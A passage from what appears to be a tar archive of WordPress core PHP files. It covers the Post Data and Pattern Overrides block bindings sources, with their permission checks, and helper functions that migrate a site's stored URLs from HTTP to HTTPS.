// Backward compatibility for when the source argument was called `key` in Gutenberg plugin.
if ( empty( $source_args['key'] ) ) {
return null;
}
$field = $source_args['key'];
} else {
$field = $source_args['field'];
}
/*
* BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks.
* Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE.
*/
$block_name = $block_instance->name ?? '';
$is_navigation_block = in_array(
$block_name,
array( 'core/navigation-link', 'core/navigation-submenu' ),
true
);
if ( $is_navigation_block ) {
// Navigation blocks: read from block attributes.
$post_id = $block_instance->attributes['id'] ?? null;
} else {
// All other blocks: use context.
$post_id = $block_instance->context['postId'] ?? null;
}
// If we don't have an entity ID, bail early.
if ( empty( $post_id ) ) {
return null;
}
// If a post isn't public, we need to prevent unauthorized users from accessing the post data.
$post = get_post( $post_id );
if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) {
return null;
}
if ( 'date' === $field ) {
return esc_attr( get_the_date( 'c', $post_id ) );
}
if ( 'modified' === $field ) {
// Only return the modified date if it is later than the publishing date.
if ( get_the_modified_date( 'U', $post_id ) > get_the_date( 'U', $post_id ) ) {
return esc_attr( get_the_modified_date( 'c', $post_id ) );
} else {
return '';
}
}
if ( 'link' === $field ) {
$permalink = get_permalink( $post_id );
return false === $permalink ? null : esc_url( $permalink );
}
}
/**
* Registers Post Data source in the block bindings registry.
*
* @since 6.9.0
* @access private
*/
function _register_block_bindings_post_data_source() {
register_block_bindings_source(
'core/post-data',
array(
'label' => _x( 'Post Data', 'block bindings source' ),
'get_value_callback' => '_block_bindings_post_data_get_value',
'uses_context' => array( 'postId', 'postType' ), // Both are needed on the client side.
)
);
}
add_action( 'init', '_register_block_bindings_post_data_source' );
pattern-overrides.php 0000666 00000002763 15224151222 0010742 0 ustar 00 <?php
/**
* Pattern Overrides source for the Block Bindings.
*
* @since 6.5.0
* @package WordPress
* @subpackage Block Bindings
*/
/**
* Gets value for the Pattern Overrides source.
*
* @since 6.5.0
* @access private
*
* @param array $source_args Array containing source arguments used to look up the override value.
* Example: array( "key" => "foo" ).
* @param WP_Block $block_instance The block instance.
* @param string $attribute_name The name of the target attribute.
* @return mixed The value computed for the source.
*/
function _block_bindings_pattern_overrides_get_value( array $source_args, $block_instance, string $attribute_name ) {
if ( empty( $block_instance->attributes['metadata']['name'] ) ) {
return null;
}
$metadata_name = $block_instance->attributes['metadata']['name'];
return _wp_array_get( $block_instance->context, array( 'pattern/overrides', $metadata_name, $attribute_name ), null );
}
/**
* Registers Pattern Overrides source in the Block Bindings registry.
*
* @since 6.5.0
* @access private
*/
function _register_block_bindings_pattern_overrides_source() {
register_block_bindings_source(
'core/pattern-overrides',
array(
'label' => _x( 'Pattern Overrides', 'block bindings source' ),
'get_value_callback' => '_block_bindings_pattern_overrides_get_value',
'uses_context' => array( 'pattern/overrides' ),
)
);
}
add_action( 'init', '_register_block_bindings_pattern_overrides_source' );
https-migration.php 0000666 00000011205 15224151222 0010405 0 ustar 00 <?php
/**
* HTTPS migration functions.
*
* @package WordPress
* @since 5.7.0
*/
/**
* Checks whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
*
* If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`, causing WordPress to
* add frontend filters to replace insecure site URLs that may be present in older database content. The
* {@see 'wp_should_replace_insecure_home_url'} filter can be used to modify that behavior.
*
* @since 5.7.0
*
* @return bool True if insecure URLs should replaced, false otherwise.
*/
function wp_should_replace_insecure_home_url() {
$should_replace_insecure_home_url = wp_is_using_https()
&& get_option( 'https_migration_required' )
// For automatic replacement, both 'home' and 'siteurl' need to not only use HTTPS, they also need to be using
// the same domain.
&& wp_parse_url( home_url(), PHP_URL_HOST ) === wp_parse_url( site_url(), PHP_URL_HOST );
/**
* Filters whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
*
* If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`. This filter can
* be used to disable that behavior, e.g. after having replaced URLs manually in the database.
*
* @since 5.7.0
*
* @param bool $should_replace_insecure_home_url Whether insecure HTTP URLs to the site should be replaced.
*/
return apply_filters( 'wp_should_replace_insecure_home_url', $should_replace_insecure_home_url );
}
/**
* Replaces insecure HTTP URLs to the site in the given content, if configured to do so.
*
* This function replaces all occurrences of the HTTP version of the site's URL with its HTTPS counterpart, if
* determined via {@see wp_should_replace_insecure_home_url()}.
*
* @since 5.7.0
*
* @param string $content Content to replace URLs in.
* @return string Filtered content.
*/
function wp_replace_insecure_home_url( $content ) {
if ( ! wp_should_replace_insecure_home_url() ) {
return $content;
}
$https_url = home_url( '', 'https' );
$http_url = str_replace( 'https://', 'http://', $https_url );
// Also replace potentially escaped URL.
$escaped_https_url = str_replace( '/', '\/', $https_url );
$escaped_http_url = str_replace( '/', '\/', $http_url );
return str_replace(
array(
$http_url,
$escaped_http_url,
),
array(
$https_url,
$escaped_https_url,
),
$content
);
}
/**
* Update the 'home' and 'siteurl' option to use the HTTPS variant of their URL.
*
* If this update does not result in WordPress recognizing that the site is now using HTTPS (e.g. due to constants
* overriding the URLs used), the changes will be reverted. In such a case the function will return false.
*
* @since 5.7.0
*
* @return bool True on success, false on failure.
*/
function wp_update_urls_to_https() {
// Get current URL options.
$orig_home = get_option( 'home' );
$orig_siteurl = get_option( 'siteurl' );
// Get current URL options, replacing HTTP with HTTPS.
$home = str_replace( 'http://', 'https://', $orig_home );
$siteurl = str_replace( 'http://', 'https://', $orig_siteurl );
// Update the options.
update_option( 'home', $home );
update_option( 'siteurl', $siteurl );
if ( ! wp_is_using_https() ) {
/*
* If this did not result in the site recognizing HTTPS as being used,
* revert the change and return false.
*/
update_option( 'home', $orig_home );
update_option( 'siteurl', $orig_siteurl );
return false;
}
// Otherwise the URLs were successfully changed to use HTTPS.
return true;
}
/**
* Updates the 'https_migration_required' option if needed when the given URL has been updated from HTTP to HTTPS.
*
* If this is a fresh site, a migration will not be required, so the option will be set as `false`.
*
* This is hooked into the {@see 'update_option_home'} action.
*
* @since 5.7.0
* @access private
*
* @param mixed $old_url Previous value of the URL option.
* @param mixed $new_url New value of the URL option.
*/
function wp_update_https_migration_required( $old_url, $new_url ) {
// Do nothing if WordPress is being installed.
if ( wp_installing() ) {
return;
}
// Delete/reset the option if the new URL is not the HTTPS version of the old URL.
if ( untrailingslashit( (string) $old_url ) !== str_replace( 'https://', 'http://', untrailingslashit( (string) $new_url ) ) ) {
delete_option( 'https_migration_required' );
return;
}
// If this is a fresh site, there is no content to migrate, so do not require migration.
$https_migration_required = get_option( 'fresh_site' ) ? false : true;
update_option( 'https_migration_required', $https_migration_required );
}